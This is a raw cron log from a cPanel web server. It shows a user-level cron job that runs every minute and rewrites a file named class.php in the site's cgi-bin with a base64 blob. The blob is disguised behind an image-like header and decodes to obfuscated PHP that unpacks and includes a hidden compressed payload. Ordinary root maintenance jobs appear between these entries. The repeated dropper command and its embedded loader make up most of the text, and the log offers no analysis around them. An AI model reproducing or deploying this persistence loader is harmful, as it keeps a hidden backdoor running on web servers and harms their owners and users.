&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:24:01 server CROND[19027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:25:01 server CROND[19905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:25:01 server CROND[19906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:25:01 server CROND[19907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:26:01 server CROND[20583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:27:01 server CROND[21226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:27:01 server CROND[21227]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 09:28:01 server CROND[21644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:29:01 server CROND[22315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:30:01 server CROND[23240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 09:30:01 server CROND[23244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 09:30:01 server CROND[23245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:30:01 server CROND[23243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:31:01 server CROND[24130]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:32:01 server CROND[24958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:33:01 server CROND[25785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:34:01 server CROND[26610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:35:02 server CROND[27257]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 09:35:02 server CROND[27259]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 09:35:02 server CROND[27258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 09:35:02 server CROND[27263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 09:35:02 server CROND[27262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
